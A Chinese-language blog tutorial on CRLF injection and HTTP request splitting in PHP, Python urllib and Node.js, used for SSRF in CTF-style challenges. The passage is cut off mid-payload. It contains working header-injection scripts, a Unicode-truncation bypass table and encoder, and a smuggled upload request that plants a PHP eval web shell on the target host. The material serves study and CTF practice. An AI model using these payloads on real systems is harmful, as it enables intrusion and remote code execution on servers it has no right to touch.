初识HTTP响应拆分攻击(CRLF Injection)

 

前言

前几天遇到了几个使用 CRLF Injection 进行 SSRF 的题目,感觉十分有意思,便抽空自己研究了研究。

CRLF Injection 最大的用处便是任意插入恶意的 HTTP 头,甚至直接在原始请求中构造一个新的HTTP请求,像这样的功能如果与 SSRF 漏洞相结合那对 SSRF 来说岂不是如虎添翼?

下面我们将对 CRLF 与 CRLF Injection 漏洞的概念进行简单的介绍,并对PHP、Python和NodeJS中的存在的 CRLF Injection 进行详细的讲解,然后对 CRLF Injection 在 SSRF 中攻击内网应用做了简单的研究与分析,最后给出了几个 CTF 中的实战例题。

文中若有不当之处,还请各位大佬师傅们多多点评。
我的博客:https://whoamianony.top/
公众号:WHOAMIAnony

 

CRLF 与 CRLF Injection 漏洞介绍

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n)。在《HTTP | HTTP报文》一文中,我们可以了解到HTTP报文的结构:HTTP报文以状态行开始,跟在后面的是HTTP首部(HTTP Header),首部由多个首部字段构成,每行一个首部字段,HTTP首部后是一个空行,然后是报文主体(HTTP Body)。状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。或者理解为首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。

 

Location 字段的 302 跳转

举个例子,一般网站会在HTTP头中用 Location: http://baidu.com 这种方式来进行302跳转,如果我们能控制 Location: 后面的某个网址的URL,就可以进行HRS攻击。

测试代码:

<?php
if(isset($_GET["url"])){

    header("Location: " . $_GET["url"]);
    exit;
}
?>

这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。

首先我们输入正常的url:

/?url=https://whoamianony.top

得到的一个正常的302跳转包的响应头是这样:

HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top

但如果我们抓包,将输入的URL改为 /url=https://whoamianony.top%0d%0aPHPSESSID=whoami,注入了一个换行。将修改后的请求包提交给服务器端,查看服务器端的响应。此时的返回包的响应头就会变成这样:

HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami

我们可以发现响应头首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。这个时候我们就给访问者设置了一个SESSION,造成了一个“会话固定漏洞”。

这是由于,此时服务器端接收到的url参数值是我们修改后的:

https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami

在url参数值拼接到Location字符串中,设置成响应头后,响应包此时应该是如下这样的:

HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami

但是,%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将PHPSESSID=whoami设置成Cookie。

测试的用例大家可能会觉得这漏洞没什么危害性,但试想一下:利用漏洞,注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,该漏洞的危害不亚于XSS。

但是目前通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了。我们继续往下看。

 

PHP fsockopen() 函数

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

测试代码:

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

首先我们尝试访问正常的url:

/?url=47.101.57.72:4000

VPS 上监听到的请求:

在 Host 头部注入

下面我们尝试插入 CRLF:

/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

这是由于,此时服务端接收到的url参数值是我们修改后的:

/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

在url参数值拼接到 Host 字段值中,设置成响应头后,响应包此时应该是如下这样的:

GET / HTTP/1.1
Host: 47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 Host 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。

 

PHP SoapClient 类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,我们首先来发起一个正常的HTTP请求:

<?php
$a = new SoapClient(null,array('location'=>'http://47.101.57.72:4000/aaa', 'uri'=>'http://47.101.57.72:4000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

VPS 上监听到了 POST 请求:

下面我们尝试 CRLF 注入,插入任意的 HTTP 头。

在 User-Agent 头部注入

<?php
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

如下图所示,VPS 上监听到了请求,成功在HTTP头中插入了一个我们自定义的 cookie:

这是由于,此时服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 User-Agent 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。

发送 POST 数据包

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。

对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

测试代码如下:

<?php
$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

VPS 上监听到了 POST 数据:

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,HTTP 首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。这样,当%0d%0a和%0d%0a%0d%0a分别被解析为 HTTP 首部字段的结尾和 HTTP 首部的结尾,最终的HTTP请求便成了如下这样:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11

data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

 

Python urllib CRLF 注入漏洞(CVE-2019-9740)

Python是一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib是其中的一个用于处理URL的模块。urllib2是其中的一个用于获取URL(统一资源定位符)的模块。

Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。

该漏洞早在2016年就被爆出(CVE-2016-5699),在之后的一段时间里不断爆出了python其他版本也存在该漏洞(CVE-2019-9740、CVE-2019-9947)。

影响范围:

  • Python 2.x版本至2.7.16版本中的urllib2
  • Python 3.x版本至3.7.2版本中的urllib

在 HTTP 状态行注入恶意首部字段

测试代码:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

执行代码后,VPS 上会监听到如下HTTP头:

如上图所示,成功引发了CRLF漏洞。

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close

此时,HTTP 状态行中出现了%0d%0a,便会被解析为HTTP首部字段的结束并成功插入我们定制的HTTP首部字段。最终HTTP请求变成了下面这样:

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close

在 HTTP 状态行注入完整 HTTP 请求

首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

编写脚本构造payload:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")

print(payload)

# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:

然后构造请求:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。下面我们分析一下整个攻击的过程。

原始请求数据如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000

当我们插入CRLF数据后,HTTP请求数据变成了:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

 HTTP/1.1
Host: 47.101.57.72:4000

上次请求包的Host字段和状态行中的 HTTP/1.1 就单独出来了,所以我们再构造一个请求把他闭合:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

 

NodeJS 中的 CRLF Injection

2018 年有研究者发现,当Node.js使用 http.get 向特定路径发出HTTP请求时,发出的请求实际上被定向到了不一样的路径!

深入研究一下,发现这个问题是由Node.js将HTTP请求写入路径时,对Unicode字符的有损编码引起的。

HTTP 请求路径中的 Unicode 字符损坏

虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如?这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

Unicode 字符损坏造成的 HTTP 拆分攻击

刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。

由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:

> var http = require("http");
> http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:

> 'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.101.57.72:4000/čĊ/WHOAMI

当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:

字符 可由以下Unicode编码构造出 Unicode编码对应的字符 Unicode编码对应的字符对应的URL编码
回车符 \r \u010d č %C4%8D
换行符 \n \u010a Ċ %C4%8A
空格 \u0120 Ġ %C4%A0
反斜杠 \ \u0122 Ģ %C4%A2
单引号 ‘ \u0127 ħ %C4%A7
反引号 ` \u0160 Š %C5%A0
叹号 ! \u0121 ġ %C4%A1

这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:

  • 接受来自用户输入的Unicode数据
  • 并将其包含在HTTP请求的路径中
  • 且请求具有一个0长度的主体(比如一个 GET 或者 DELETE

在 HTTP 状态行注入恶意首部字段

由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

如上图所示,成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1 ,但我们根据该原理依然可以将其闭合:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

这样,我们便可以构造 “任意” 的HTTP请求了。

在 HTTP 状态行注入完整 HTTP 请求

首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįŵŰŬůšŤĮŰŨŰĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠĴijķčĊŃůŮŴťŮŴĭŔŹŰťĺĠŭŵŬŴũŰšŲŴįŦůŲŭĭŤšŴšĻĠŢůŵŮŤšŲŹĽĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįĹİĮİĮĴĴijİĮķIJĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹčĊŃůůūũťĺĠŐňŐœŅœœʼnńĽŮūĶķšųŴŶĶıŨűšŮųūūŤŤųŬūŧųŴĴčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢōŁŘşņʼnŌŅşœʼnŚŅĢčĊčĊıİİİİİčĊĭĭĭĭĭĭŗťŢŋũŴņůŲŭłůŵŮŤšŲŹŪńŢĹňōŇŔũŸŁŁķŁŭĶčĊŃůŮŴťŮŴĭńũųŰůųũŴũůŮĺĠŦůŲŭĭŤšŴšĻĠŮšŭťĽĢŵŰŬůšŤťŤĢĻĠŦũŬťŮšŭťĽĢųŨťŬŬĮŰŨŰĢčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰ